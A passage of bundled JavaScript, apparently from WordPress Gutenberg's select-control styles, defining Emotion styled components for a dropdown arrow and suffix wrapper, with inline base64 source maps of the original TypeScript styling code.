Cb3R0b206IDAsXG5cdFx0fSxcblx0XHRjb21wYWN0OiB7XG5cdFx0XHRoZWlnaHQ6IDMyLFxuXHRcdFx0bWluSGVpZ2h0OiAzMixcblx0XHRcdHBhZGRpbmdUb3A6IDAsXG5cdFx0XHRwYWRkaW5nQm90dG9tOiAwLFxuXHRcdH0sXG5cdFx0J19fdW5zdGFibGUtbGFyZ2UnOiB7XG5cdFx0XHRoZWlnaHQ6IDQwLFxuXHRcdFx0bWluSGVpZ2h0OiA0MCxcblx0XHRcdHBhZGRpbmdUb3A6IDAsXG5cdFx0XHRwYWRkaW5nQm90dG9tOiAwLFxuXHRcdH0sXG5cdH07XG5cblx0aWYgKCAhIF9fbmV4dDQwcHhEZWZhdWx0U2l6ZSApIHtcblx0XHRzaXplcy5kZWZhdWx0ID0gc2l6ZXMuY29tcGFjdDtcblx0fVxuXG5cdGNvbnN0IHN0eWxlID0gc2l6ZXNbIHNlbGVjdFNpemUgXSB8fCBzaXplcy5kZWZhdWx0O1xuXG5cdHJldHVybiBjc3MoIHN0eWxlICk7XG59O1xuXG5leHBvcnQgY29uc3QgY2hldnJvbkljb25TaXplID0gMTg7XG5cbmNvbnN0IHNpemVQYWRkaW5ncyA9ICgge1xuXHRfX25leHQ0MHB4RGVmYXVsdFNpemUsXG5cdG11bHRpcGxlLFxuXHRzZWxlY3RTaXplID0gJ2RlZmF1bHQnLFxufTogU2VsZWN0UHJvcHMgKSA9PiB7XG5cdGNvbnN0IHBhZGRpbmcgPSB7XG5cdFx0ZGVmYXVsdDogQ09ORklHLmNvbnRyb2xQYWRkaW5nWCxcblx0XHRzbWFsbDogQ09ORklHLmNvbnRyb2xQYWRkaW5nWFNtYWxsLFxuXHRcdGNvbXBhY3Q6IENPTkZJRy5jb250cm9sUGFkZGluZ1hTbWFsbCxcblx0XHQnX191bnN0YWJsZS1sYXJnZSc6IENPTkZJRy5jb250cm9sUGFkZGluZ1gsXG5cdH07XG5cblx0aWYgKCAhIF9fbmV4dDQwcHhEZWZhdWx0U2l6ZSApIHtcblx0XHRwYWRkaW5nLmRlZmF1bHQgPSBwYWRkaW5nLmNvbXBhY3Q7XG5cdH1cblxuXHRjb25zdCBzZWxlY3RlZFBhZGRpbmcgPSBwYWRkaW5nWyBzZWxlY3RTaXplIF0gfHwgcGFkZGluZy5kZWZhdWx0O1xuXG5cdHJldHVybiBydGwoIHtcblx0XHRwYWRkaW5nTGVmdDogc2VsZWN0ZWRQYWRkaW5nLFxuXHRcdHBhZGRpbmdSaWdodDogc2VsZWN0ZWRQYWRkaW5nICsgY2hldnJvbkljb25TaXplLFxuXHRcdC4uLiggbXVsdGlwbGVcblx0XHRcdD8ge1xuXHRcdFx0XHRcdHBhZGRpbmdUb3A6IHNlbGVjdGVkUGFkZGluZyxcblx0XHRcdFx0XHRwYWRkaW5nQm90dG9tOiBzZWxlY3RlZFBhZGRpbmcsXG5cdFx0XHQgIH1cblx0XHRcdDoge30gKSxcblx0fSApO1xufTtcblxuY29uc3Qgb3ZlcmZsb3dTdHlsZXMgPSAoIHsgbXVsdGlwbGUgfTogU2VsZWN0UHJvcHMgKSA9PiB7XG5cdHJldHVybiB7XG5cdFx0b3ZlcmZsb3c6IG11bHRpcGxlID8gJ2F1dG8nIDogJ2hpZGRlbicsXG5cdH07XG59O1xuXG5jb25zdCB2YXJpYW50U3R5bGVzID0gKCB7IHZhcmlhbnQgfTogU2VsZWN0UHJvcHMgKSA9PiB7XG5cdGlmICggdmFyaWFudCA9PT0gJ21pbmltYWwnICkge1xuXHRcdHJldHVybiBjc3MoIHtcblx0XHRcdGZpZWxkU2l6aW5nOiAnY29udGVudCcsXG5cdFx0fSApO1xuXHR9XG5cblx0cmV0dXJuICcnO1xufTtcblxuLy8gVE9ETzogUmVzb2x2ZSBuZWVkIHRvIHVzZSAmJiYgdG8gaW5jcmVhc2Ugc3BlY2lmaWNpdHlcbi8vIGh0dHBzOi8vZ2l0aHViLmNvbS9Xb3JkUHJlc3MvZ3V0ZW5iZXJnL2lzc3Vlcy8xODQ4M1xuXG5leHBvcnQgY29uc3QgU2VsZWN0ID0gc3R5bGVkLnNlbGVjdDwgU2VsZWN0UHJvcHMgPmBcblx0JiYmIHtcblx0XHRhcHBlYXJhbmNlOiBub25lO1xuXHRcdGJhY2tncm91bmQ6IHRyYW5zcGFyZW50O1xuXHRcdGJveC1zaXppbmc6IGJvcmRlci1ib3g7XG5cdFx0Ym9yZGVyOiBub25lO1xuXHRcdGJveC1zaGFkb3c6IG5vbmUgIWltcG9ydGFudDtcblx0XHRjb2xvcjogY3VycmVudENvbG9yOyAvLyBPdmVycmlkZXMgaG92ZXIvZm9jdXMgc3R5bGVzIGluIGZvcm1zLmNzc1xuXHRcdGN1cnNvcjogaW5oZXJpdDtcblx0XHRkaXNwbGF5OiBibG9jaztcblx0XHRmb250LWZhbWlseTogaW5oZXJpdDtcblx0XHRsaW5lLWhlaWdodDogMS4zOyAvLyBPdmVycmlkZSBmb3Jtcy5jc3Mgc3R5bGVzLCBsYXJnZSBlbm91Z2ggdmFsdWUgdG8gcHJldmVudCBkZXNjZW5kZXIgY2xpcHBpbmcgd2l0aG91dCBhZmZlY3RpbmcgaGVpZ2h0XG5cdFx0bWFyZ2luOiAwO1xuXHRcdHdpZHRoOiAxMDAlO1xuXHRcdG1heC13aWR0aDogbm9uZTtcblx0XHR3aGl0ZS1zcGFjZTogbm93cmFwO1xuXHRcdHRleHQtb3ZlcmZsb3c6IGVsbGlwc2lzO1xuXG5cdFx0JHsgZm9udFNpemVTdHlsZXMgfTtcblx0XHQkeyBzaXplU3R5bGVzIH07XG5cdFx0JHsgc2l6ZVBhZGRpbmdzIH07XG5cdFx0JHsgb3ZlcmZsb3dTdHlsZXMgfVxuXHRcdCR7IHZhcmlhbnRTdHlsZXMgfVxuXHR9XG5gO1xuXG5leHBvcnQgY29uc3QgRG93bkFycm93V3JhcHBlciA9IHN0eWxlZC5kaXZgXG5cdG1hcmdpbi1pbmxpbmUtZW5kOiAkeyBzcGFjZSggLTEgKSB9OyAvLyBvcHRpY2FsbHkgYWRqdXN0IHRoZSBpY29uXG5cdGxpbmUtaGVpZ2h0OiAwO1xuXG5cdHBhdGgge1xuXHRcdGZpbGw6IGN1cnJlbnRDb2xvcjtcblx0fVxuYDtcblxuZXhwb3J0IGNvbnN0IElucHV0Q29udHJvbFN1ZmZpeFdyYXBwZXJXaXRoQ2xpY2tUaHJvdWdoID0gc3R5bGVkKFxuXHRJbnB1dENvbnRyb2xTdWZmaXhXcmFwcGVyXG4pYFxuXHRwb3NpdGlvbjogYWJzb2x1dGU7XG5cdHBvaW50ZXItZXZlbnRzOiBub25lO1xuXG5cdCR7IHJ0bCggeyByaWdodDogMCB9ICkgfVxuYDtcbiJdfQ== */"));
30458 var DownArrowWrapper = /* @__PURE__ */ createStyled("div", false ? {
30459 target: "e1mv6sxx1"
30460 } : {
30461 target: "e1mv6sxx1",
30462 label: "DownArrowWrapper"
30463 })("margin-inline-end:", space(-1), ";line-height:0;path{fill:currentColor;}" + (false ? "" : "/*# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbInNlbGVjdC1jb250cm9sLXN0eWxlcy50cyJdLCJuYW1lcyI6W10sIm1hcHBpbmdzIjoiQUFtTDBDIiwiZmlsZSI6InNlbGVjdC1jb250cm9sLXN0eWxlcy50cyIsInNvdXJjZXNDb250ZW50IjpbIi8qKlxuICogRXh0ZXJuYWwgZGVwZW5kZW5jaWVzXG4gKi9cbmltcG9ydCB7IGNzcyB9IGZyb20gJ0BlbW90aW9uL3JlYWN0JztcbmltcG9ydCBzdHlsZWQgZnJvbSAnQGVtb3Rpb24vc3R5bGVkJztcblxuLyoqXG4gKiBJbnRlcm5hbCBkZXBlbmRlbmNpZXNcbiAqL1xuaW1wb3J0IHsgQ09MT1JTLCBydGwsIENPTkZJRyB9IGZyb20gJy4uLy4uL3V0aWxzJztcbmltcG9ydCB7IHNwYWNlIH0gZnJvbSAnLi4vLi4vdXRpbHMvc3BhY2UnO1xuaW1wb3J0IHR5cGUgeyBTZWxlY3RDb250cm9sUHJvcHMgfSBmcm9tICcuLi90eXBlcyc7XG5pbXBvcnQgSW5wdXRDb250cm9sU3VmZml4V3JhcHBlciBmcm9tICcuLi8uLi9pbnB1dC1jb250cm9sL2lucHV0LXN1ZmZpeC13cmFwcGVyJztcbmltcG9ydCB7IGZvbnRTaXplU3R5bGVzIH0gZnJvbSAnLi4vLi4vaW5wdXQtY29udHJvbC9zdHlsZXMvaW5wdXQtY29udHJvbC1zdHlsZXMnO1xuaW1wb3J0IElucHV0QmFzZSBmcm9tICcuLi8uLi9pbnB1dC1jb250cm9sL2lucHV0LWJhc2UnO1xuXG5pbnRlcmZhY2UgU2VsZWN0UHJvcHNcblx0ZXh0ZW5kcyBQaWNrPFxuXHRcdFNlbGVjdENvbnRyb2xQcm9wcyxcblx0XHQnX19uZXh0NDBweERlZmF1bHRTaXplJyB8ICdkaXNhYmxlZCcgfCAnbXVsdGlwbGUnIHwgJ3ZhcmlhbnQnXG5cdD4ge1xuXHQvLyBVc2luZyBgc2VsZWN0U2l6ZWAgaW5zdGVhZCBvZiBgc2l6ZWAgdG8gYXZvaWQgYSB0eXBlIGNvbmZsaWN0IHdpdGggdGhlXG5cdC8vIGBzaXplYCBIVE1MIGF0dHJpYnV0ZSBvZiB0aGUgYHNlbGVjdGAgZWxlbWVudC5cblx0c2VsZWN0U2l6ZT86IFNlbGVjdENvbnRyb2xQcm9wc1sgJ3NpemUnIF07XG59XG5cbmNvbnN0IGRpc2FibGVkU3R5bGVzID0gKCB7IGRpc2FibGVkIH06IFNlbGVjdFByb3BzICkgPT4ge1xuXHRpZiAoICEgZGlzYWJsZWQgKSB7XG5cdFx0cmV0dXJuICcnO1xuXHR9XG5cblx0cmV0dXJuIGNzc2Bcblx0XHRjb2xvcjogJHsgQ09MT1JTLnVpLnRleHREaXNhYmxlZCB9O1xuXHRcdGN1cnNvcjogZGVmYXVsdDtcblx0YDtcbn07XG5cbmNvbnN0IGlucHV0QmFzZVZhcmlhbnRTdHlsZXMgPSAoIHsgdmFyaWFudCB9OiBTZWxlY3RQcm9wcyApID0+IHtcblx0aWYgKCB2YXJpYW50ID09PSAnbWluaW1hbCcgKSB7XG5cdFx0cmV0dXJuIGNzc2Bcblx0XHRcdGRpc3BsYXk6IGlubGluZS1mbGV4O1xuXHRcdGA7XG5cdH1cblxuXHRyZXR1cm4gJyc7XG59O1xuXG5leHBvcnQgY29uc3QgU3R5bGVkSW5wdXRCYXNlID0gc3R5bGVkKCBJbnB1dEJhc2UgKWBcblx0Y29sb3I6ICR7IENPTE9SUy50aGVtZS5mb3JlZ3JvdW5kIH07XG5cdGN1cnNvcjogcG9pbnRlcjtcblxuXHQkeyBkaXNhYmxlZFN0eWxlcyB9XG5cdCR7IGlucHV0QmFzZVZhcmlhbnRTdHlsZXMgfVxuYDtcblxuY29uc3Qgc2l6ZVN0eWxlcyA9ICgge1xuXHRfX25leHQ0MHB4RGVmYXVsdFNpemUsXG5cdG11bHRpcGxlLFxuXHRzZWxlY3RTaXplID0gJ2RlZmF1bHQnLFxufTogU2VsZWN0UHJvcHMgKSA9PiB7XG5cdGlmICggbXVsdGlwbGUgKSB7XG5cdFx0Ly8gV2hlbiBgbXVsdGlwbGVgLCBqdXN0IHVzZSB0aGUgbmF0aXZlIGJyb3dzZXIgc3R5bGVzXG5cdFx0Ly8gd2l0aG91dCBzZXR0aW5nIGV4cGxpY2l0IGhlaWdodC5cblx0XHRyZXR1cm47XG5cdH1cblxuXHRjb25zdCBzaXplcyA9IHtcblx0XHRkZWZhdWx0OiB7XG5cdFx0XHRoZWlnaHQ6IDQwLFxuXHRcdFx0bWluSGVpZ2h0OiA0MCxcblx0XHRcdHBhZGRpbmdUb3A6IDAsXG5cdFx0XHRwYWRkaW5nQm90dG9tOiAwLFxuXHRcdH0sXG5cdFx0c21hbGw6IHtcblx0XHRcdGhlaWdodDogMjQsXG5cdFx0XHRtaW5IZWlnaHQ6IDI0LFxuXHRcdFx0cGFkZGluZ1RvcDogMCxcblx0XHRcdHBhZGRpbmdCb3R0b206IDAsXG5cdFx0fSxcblx0XHRjb21wYWN0OiB7XG5cdFx0XHRoZWlnaHQ6IDMyLFxuXHRcdFx0bWluSGVpZ2h0OiAzMixcblx0XHRcdHBhZGRpbmdUb3A6IDAsXG5cdFx0XHRwYWRkaW5nQm90dG9tOiAwLFxuXHRcdH0sXG5cdFx0J19fdW5zdGFibGUtbGFyZ2UnOiB7XG5cdFx0XHRoZWlnaHQ6IDQwLFxuXHRcdFx0bWluSGVpZ2h0OiA0MCxcblx0XHRcdHBhZGRpbmdUb3A6IDAsXG5cdFx0XHRwYWRkaW5nQm90dG9tOiAwLFxuXHRcdH0sXG5cdH07XG5cblx0aWYgKCAhIF9fbmV4dDQwcHhEZWZhdWx0U2l6ZSApIHtcblx0XHRzaXplcy5kZWZhdWx0ID0gc2l6ZXMuY29tcGFjdDtcblx0fVxuXG5cdGNvbnN0IHN0eWxlID0gc2l6ZXNbIHNlbGVjdFNpemUgXSB8fCBzaXplcy5kZWZhdWx0O1xuXG5cdHJldHVybiBjc3MoIHN0eWxlICk7XG59O1xuXG5leHBvcnQgY29uc3QgY2hldnJvbkljb25TaXplID0gMTg7XG5cbmNvbnN0IHNpemVQYWRkaW5ncyA9ICgge1xuXHRfX25leHQ0MHB4RGVmYXVsdFNpemUsXG5cdG11bHRpcGxlLFxuXHRzZWxlY3RTaXplID0gJ2RlZmF1bHQnLFxufTogU2VsZWN0UHJvcHMgKSA9PiB7XG5cdGNvbnN0IHBhZGRpbmcgPSB7XG5cdFx0ZGVmYXVsdDogQ09ORklHLmNvbnRyb2xQYWRkaW5nWCxcblx0XHRzbWFsbDogQ09ORklHLmNvbnRyb2xQYWRkaW5nWFNtYWxsLFxuXHRcdGNvbXBhY3Q6IENPTkZJRy5jb250cm9sUGFkZGluZ1hTbWFsbCxcblx0XHQnX191bnN0YWJsZS1sYXJnZSc6IENPTkZJRy5jb250cm9sUGFkZGluZ1gsXG5cdH07XG5cblx0aWYgKCAhIF9fbmV4dDQwcHhEZWZhdWx0U2l6ZSApIHtcblx0XHRwYWRkaW5nLmRlZmF1bHQgPSBwYWRkaW5nLmNvbXBhY3Q7XG5cdH1cblxuXHRjb25zdCBzZWxlY3RlZFBhZGRpbmcgPSBwYWRkaW5nWyBzZWxlY3RTaXplIF0gfHwgcGFkZGluZy5kZWZhdWx0O1xuXG5cdHJldHVybiBydGwoIHtcblx0XHRwYWRkaW5nTGVmdDogc2VsZWN0ZWRQYWRkaW5nLFxuXHRcdHBhZGRpbmdSaWdodDogc2VsZWN0ZWRQYWRkaW5nICsgY2hldnJvbkljb25TaXplLFxuXHRcdC4uLiggbXVsdGlwbGVcblx0XHRcdD8ge1xuXHRcdFx0XHRcdHBhZGRpbmdUb3A6IHNlbGVjdGVkUGFkZGluZyxcblx0XHRcdFx0XHRwYWRkaW5nQm90dG9tOiBzZWxlY3RlZFBhZGRpbmcsXG5cdFx0XHQgIH1cblx0XHRcdDoge30gKSxcblx0fSApO1xufTtcblxuY29uc3Qgb3ZlcmZsb3dTdHlsZXMgPSAoIHsgbXVsdGlwbGUgfTogU2VsZWN0UHJvcHMgKSA9PiB7XG5cdHJldHVybiB7XG5cdFx0b3ZlcmZsb3c6IG11bHRpcGxlID8gJ2F1dG8nIDogJ2hpZGRlbicsXG5cdH07XG59O1xuXG5jb25zdCB2YXJpYW50U3R5bGVzID0gKCB7IHZhcmlhbnQgfTogU2VsZWN0UHJvcHMgKSA9PiB7XG5cdGlmICggdmFyaWFudCA9PT0gJ21pbmltYWwnICkge1xuXHRcdHJldHVybiBjc3MoIHtcblx0XHRcdGZpZWxkU2l6aW5nOiAnY29udGVudCcsXG5cdFx0fSApO1xuXHR9XG5cblx0cmV0dXJuICcnO1xufTtcblxuLy8gVE9ETzogUmVzb2x2ZSBuZWVkIHRvIHVzZSAmJiYgdG8gaW5jcmVhc2Ugc3BlY2lmaWNpdHlcbi8vIGh0dHBzOi8vZ2l0aHViLmNvbS9Xb3JkUHJlc3MvZ3V0ZW5iZXJnL2lzc3Vlcy8xODQ4M1xuXG5leHBvcnQgY29uc3QgU2VsZWN0ID0gc3R5bGVkLnNlbGVjdDwgU2VsZWN0UHJvcHMgPmBcblx0JiYmIHtcblx0XHRhcHBlYXJhbmNlOiBub25lO1xuXHRcdGJhY2tncm91bmQ6IHRyYW5zcGFyZW50O1xuXHRcdGJveC1zaXppbmc6IGJvcmRlci1ib3g7XG5cdFx0Ym9yZGVyOiBub25lO1xuXHRcdGJveC1zaGFkb3c6IG5vbmUgIWltcG9ydGFudDtcblx0XHRjb2xvcjogY3VycmVudENvbG9yOyAvLyBPdmVycmlkZXMgaG92ZXIvZm9jdXMgc3R5bGVzIGluIGZvcm1zLmNzc1xuXHRcdGN1cnNvcjogaW5oZXJpdDtcblx0XHRkaXNwbGF5OiBibG9jaztcblx0XHRmb250LWZhbWlseTogaW5oZXJpdDtcblx0XHRsaW5lLWhlaWdodDogMS4zOyAvLyBPdmVycmlkZSBmb3Jtcy5jc3Mgc3R5bGVzLCBsYXJnZSBlbm91Z2ggdmFsdWUgdG8gcHJldmVudCBkZXNjZW5kZXIgY2xpcHBpbmcgd2l0aG91dCBhZmZlY3RpbmcgaGVpZ2h0XG5cdFx0bWFyZ2luOiAwO1xuXHRcdHdpZHRoOiAxMDAlO1xuXHRcdG1heC13aWR0aDogbm9uZTtcblx0XHR3aGl0ZS1zcGFjZTogbm93cmFwO1xuXHRcdHRleHQtb3ZlcmZsb3c6IGVsbGlwc2lzO1xuXG5cdFx0JHsgZm9udFNpemVTdHlsZXMgfTtcblx0XHQkeyBzaXplU3R5bGVzIH07XG5cdFx0JHsgc2l6ZVBhZGRpbmdzIH07XG5cdFx0JHsgb3ZlcmZsb3dTdHlsZXMgfVxuXHRcdCR7IHZhcmlhbnRTdHlsZXMgfVxuXHR9XG5gO1xuXG5leHBvcnQgY29uc3QgRG93bkFycm93V3JhcHBlciA9IHN0eWxlZC5kaXZgXG5cdG1hcmdpbi1pbmxpbmUtZW5kOiAkeyBzcGFjZSggLTEgKSB9OyAvLyBvcHRpY2FsbHkgYWRqdXN0IHRoZSBpY29uXG5cdGxpbmUtaGVpZ2h0OiAwO1xuXG5cdHBhdGgge1xuXHRcdGZpbGw6IGN1cnJlbnRDb2xvcjtcblx0fVxuYDtcblxuZXhwb3J0IGNvbnN0IElucHV0Q29udHJvbFN1ZmZpeFdyYXBwZXJXaXRoQ2xpY2tUaHJvdWdoID0gc3R5bGVkKFxuXHRJbnB1dENvbnRyb2xTdWZmaXhXcmFwcGVyXG4pYFxuXHRwb3NpdGlvbjogYWJzb2x1dGU7XG5cdHBvaW50ZXItZXZlbnRzOiBub25lO1xuXG5cdCR7IHJ0bCggeyByaWdodDogMCB9ICkgfVxuYDtcbiJdfQ== */"));
30464 var InputControlSuffixWrapperWithClickThrough = /* @__PURE__ */ createStyled(input_suffix_wrapper_default, false ? {
30465 target: "e1mv6sxx0"
30466 } : {
30467 target: "e1mv6sxx0",
30468 label: "InputControlSuffixWrapperWithClickThrough"
30469 })("position:absolute;pointer-events:none;", rtl({
30470 right: 0
30471 }), ";" + (false ? "" : "/*# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbInNlbGVjdC1jb250cm9sLXN0eWxlcy50cyJdLCJuYW1lcyI6W10sIm1hcHBpbmdzIjoiQUE4TEMiLCJmaWxlIjoic2VsZWN0LWNvbnRyb2wtc3R5bGVzLnRzIiwic291cmNlc0NvbnRlbnQiOlsiLyoqXG4gKiBFeHRlcm5hbCBkZXBlbmRlbmNpZXNcbiAqL1xuaW1wb3J0IHsgY3NzIH0gZnJvbSAnQGVtb3Rpb24vcmVhY3QnO1xuaW1wb3J0IHN0eWxlZCBmcm9tICdAZW1vdGlvbi9zdHlsZWQnO1xuXG4vKipcbiAqIEludGVybmFsIGRlcGVuZGVuY2llc1xuICovXG5pbXBvcnQgeyBDT0xPUlMsIHJ0bCwgQ09ORklHIH0gZnJvbSAnLi4vLi4vdXRpbHMnO1xuaW1wb3J0IHsgc3BhY2UgfSBmcm9tICcuLi8uLi91dGlscy9zcGFjZSc7XG5pbXBvcnQgdHlwZSB7IFNlbGVjdENvbnRyb2xQcm9wcyB9IGZyb20gJy4uL3R5cGVzJztcbmltcG9ydCBJbnB1dENvbnRyb2xTdWZmaXhXcmFwcGVyIGZyb20gJy4uLy4uL2lucHV0LWNvbnRyb2wvaW5wdXQtc3VmZml4LXdyYXBwZXInO1xuaW1wb3J0IHsgZm9udFNpemVTdHlsZXMgfSBmcm9tICcuLi8uLi9pbnB1dC1jb250cm9sL3N0eWxlcy9pbnB1dC1jb250cm9sLXN0eWxlcyc7XG5pbXBvcnQgSW5wdXRCYXNlIGZyb20gJy4uLy4uL2lucHV0LWNvbnRyb2wvaW5wdXQtYmFzZSc7XG5cbmludGVyZmFjZSBTZWxlY3RQcm9wc1xuXHRleHRlbmRzIFBpY2s8XG5cdFx0U2VsZWN0Q29udHJvbFByb3BzLFxuXHRcdCdfX25leHQ0MHB4RGVmYXVsdFNpemUnIHwgJ2Rpc2FibGVkJyB8ICdtdWx0aXBsZScgfCAndmFyaWFudCdcblx0PiB7XG5cdC8vIFVzaW5nIGBzZWxlY3RTaXplYCBpbnN0ZWFkIG9mIGBzaXplYCB0byBhdm9pZCBhIHR5cGUgY29uZmxpY3Qgd2l0aCB0aGVcblx0Ly8gYHNpemVgIEhUTUwgYXR0cmlidXRlIG9mIHRoZSBgc2VsZWN0YCBlbGVtZW50LlxuXHRzZWxlY3RTaXplPzogU2VsZWN0Q29udHJvbFByb3BzWyAnc2l6ZScgXTtcbn1cblxuY29uc3QgZGlzYWJsZWRTdHlsZXMgPSAoIHsgZGlzYWJsZWQgfTogU2VsZWN0UHJvcHMgKSA9PiB7XG5cdGlmICggISBkaXNhYmxlZCApIHtcblx0XHRyZXR1cm4gJyc7XG5cdH1cblxuXHRyZXR1cm4gY3NzYFxuXHRcdGNvbG9yOiAkeyBDT0xPUlMudWkudGV4dERpc2FibGVkIH07XG5cdFx0Y3Vyc29yOiBkZWZhdWx0O1xuXHRgO1xufTtcblxuY29uc3QgaW5wdXRCYXNlVmFyaWFudFN0eWxlcyA9ICggeyB2YXJpYW50IH06IFNlbGVjdFByb3BzICkgPT4ge1xuXHRpZiAoIHZhcmlhbnQgPT09ICdtaW5pbWFsJyApIHtcblx0XHRyZXR1cm4gY3NzYFxuXHRcdFx0ZGlzcGxheTogaW5saW5lLWZsZXg7XG5cdFx0YDtcblx0fVxuXG5cdHJldHVybiAnJztcbn07XG5cbmV4cG9ydCBjb25zdCBTdHlsZWRJbnB1dEJhc2UgPSBzdHlsZWQoIElucHV0QmFzZSApYFxuXHRjb2xvcjogJHsgQ09MT1JTLnRoZW1lLmZvcmVncm91bmQgfTtcblx0Y3Vyc29yOiBwb2ludGVyO1xuXG5cdCR7IGRpc2FibGVkU3R5bGVzIH1cblx0JHsgaW5wdXRCYXNlVmFyaWFudFN0eWxlcyB9XG5gO1xuXG5jb25zdCBzaXplU3R5bGVzID0gKCB7XG5cdF9fbmV4dDQwcHhEZWZhdWx0U2l6ZSxcblx0bXVsdGlwbGUsXG5cdHNlbGVjdFNpemUgPSAnZGVmYXVsdCcsXG59OiBTZWxlY3RQcm9wcyApID0+IHtcblx0aWYgKCBtdWx0aXBsZSApIHtcblx0XHQvLyBXaGVuIGBtdWx0aXBsZWAsIGp1c3QgdXNlIHRoZSBuYXRpdmUgYnJvd3NlciBzdHlsZXNcblx0XHQvLyB3aXRob3V0IHNldHRpbmcgZXhwbGljaXQgaGVpZ2h0LlxuXHRcdHJldHVybjtcblx0fVxuXG5cdGNvbnN0IHNpemVzID0ge1xuXHRcdGRlZmF1bHQ6IHtcblx0XHRcdGhlaWdodDogNDAsXG5cdFx0XHRtaW5IZWlnaHQ6IDQwLFxuXHRcdFx0cGFkZGluZ1RvcDogMCxcblx0XHRcdHBhZGRpbmdCb3R0b206IDAsXG5cdFx0fSxcblx0XHRzbWFsbDoge1xuXHRcdFx0aGVpZ2h0OiAyNCxcblx0XHRcdG1pbkhlaWdodDogMjQsXG5cdFx0XHRwYWRkaW5nVG9wOiAwLFxuXHRcdFx0cGFkZGluZ0JvdHRvbTogMCxcblx0XHR9LFxuXHRcdGNvbXBhY3Q6IHtcblx0XHRcdGhlaWdodDogMzIsXG5cdFx0XHRtaW5IZWlnaHQ6IDMyLFxuXHRcdFx0cGFkZGluZ1RvcDogMCxcblx0XHRcdHBhZGRpbmdCb3R0b206IDAsXG5cdFx0fSxcblx0XHQnX191bnN0YWJsZS1sYXJnZSc6IHtcblx0XHRcdGhlaWdodDogNDAsXG5cdFx0XHRtaW5IZWlnaHQ6IDQwLFxuXHRcdFx0cGFkZGluZ1RvcDogMCxcblx0XHRcdHBhZGRpbmdCb3R0b206IDAsXG5cdFx0fSxcblx0fTtcblxuXHRpZiAoICEgX19uZXh0NDBweERlZmF1bHRTaXplICkge1xuXHRcdHNpemVzLmRlZmF1bHQgPSBzaXplcy5jb21wYWN0O1xuXHR9XG5cblx0Y29uc3Qgc3R5bGUgPSBzaXplc1sgc2VsZWN0U2l6ZSBdIHx8IHNpemVzLmRlZmF1bHQ7XG5cblx0cmV0dXJuIGNzcyggc3R5bGUgKTtcbn07XG5cbmV4cG9ydCBjb25zdCBjaGV2cm9uSWNvblNpemUgPSAxODtcblxuY29uc3Qgc2l6ZVBhZGRpbmdzID0gKCB7XG5cdF9fbmV4dDQwcHhEZWZhdWx0U2l6ZSxcblx0bXVsdGlwbGUsXG5cdHNlbGVjdFNpemUgPSAnZGVmYXVsdCcsXG59OiBTZWxlY3RQcm9wcyApID0+IHtcblx0Y29uc3QgcGFkZGluZyA9IHtcblx0XHRkZWZhdWx0OiBDT05GSUcuY29udHJvbFBhZGRpbmdYLFxuXHRcdHNtYWxsOiBDT05GSUcuY29udHJvbFBhZGRpbmdYU21hbGwsXG5cdFx0Y29tcGFjdDogQ09ORklHLmNvbnRyb2xQYWRkaW5nWFNtYWxsLFxuXHRcdCdfX3Vuc3RhYmxlLWxhcmdlJzogQ09ORklHLmNvbnRyb2xQYWRkaW5nWCxcblx0fTtcblxuXHRpZiAoICEgX19uZXh0NDBweERlZmF1bHRTaXplICkge1xuXHRcdHBhZGRpbmcuZGVmYXVsdCA9IHBhZGRpbmcuY29tcGFjdDtcblx0fVxuXG5cdGNvbnN0IHNlbGVjdGVkUGFkZGluZyA9IHBhZGRpbmdbIHNlbGVjdFNpemUgXSB8fCBwYWRkaW5nLmRlZmF1bHQ7XG5cblx0cmV0dXJuIHJ0bCgge1xuXHRcdHBhZGRpbmdMZWZ0OiBzZWxlY3RlZFBhZGRpbmcsXG5cdFx0cGFkZGluZ1JpZ2h0OiBzZWxlY3RlZFBhZGRpbmcgKyBjaGV2cm9uSWNvblNpemUsXG5cdFx0Li4uKCBtdWx0aXBsZVxuXHRcdFx0PyB7XG5cdFx0XHRcdFx0cGFkZGluZ1RvcDogc2VsZWN0ZWRQYWRkaW5nLFxuXHRcdFx0XHRcdHBhZGRpbmdCb3R0b206IHNlbGVjdGVkUGFkZGluZyxcblx0XHRcdCAgfVxuXHRcdFx0OiB7fSApLFxuXHR9ICk7XG59O1xuXG5jb25zdCBvdmVyZmxvd1N0eWxlcyA9ICggeyBtdWx0aXBsZSB9OiBTZWxlY3RQcm9wcyApID0+IHtcblx0cmV0dXJuIHtcblx0XHRvdmVyZmxvdzogbXVsdGlwbGUgPyAnYXV0bycgOiAnaGlkZGVuJyxcblx0fTtcbn07XG5cbmNvbnN0IHZhcmlhbnRTdHlsZXMgPSAoIHsgdmFyaWFudCB9OiBTZWxlY3RQcm9wcyApID0+IHtcblx0aWYgKCB2YXJpYW50ID09PSAnbWluaW1hbCcgKSB7XG5cdFx0cmV0dXJuIGNzcygge1xuXHRcdFx0ZmllbGRTaXppbmc6ICdjb250ZW50Jyxcblx0XHR9ICk7XG5cdH1cblxuXHRyZXR1cm4gJyc7XG59O1xuXG4vLyBUT0RPOiBSZXNvbHZlIG5lZWQgdG8gdXNlICYmJiB0byBpbmNyZWFzZSBzcGVjaWZpY2l0eVxuLy8gaHR0cHM6Ly9naXRodWIuY29tL1dvcmRQcmVzcy9ndXRlbmJlcmcvaXNzdWVzLzE4NDgzXG5cbmV4cG9ydCBjb25zdCBTZWxlY3QgPSBzdHlsZWQuc2VsZWN0PCBTZWxlY3RQcm9wcyA+YFxuXHQmJiYge1xuXHRcdGFwcGVhcmFuY2U6IG5vbmU7XG5cdFx0YmFja2dyb3VuZDogdHJhbnNwYXJlbnQ7XG5cdFx0Ym94LXNpemluZzogYm9yZGVyLWJveDtcblx0XHRib3JkZXI6IG5vbmU7XG5cdFx0Ym94LXNoYWRvdzogbm9uZSAhaW1wb3J0YW50O1xuXHRcdGNvbG9yOiBjdXJyZW50Q29sb3I7IC8vIE92ZXJyaWRlcyBob3Zlci9mb2N1cyBzdHlsZXMgaW4gZm9ybXMuY3NzXG5cdFx0Y3Vyc29yOiBpbmhlcml0O1xuXHRcdGRpc3BsYXk6IGJsb2NrO1xuXHRcdGZvbnQtZmFtaWx5OiBpbmhlcml0O1xuXHRcdGxpbmUtaGVpZ2h0OiAxLjM7IC8vIE92ZXJyaWRlIGZvcm1zLmNzcyBzdHlsZXMsIGxhcmdlIGVub3VnaCB2YWx1ZSB0byBwcmV2ZW50IGRlc2NlbmRlciBjbGlwcGluZyB3aXR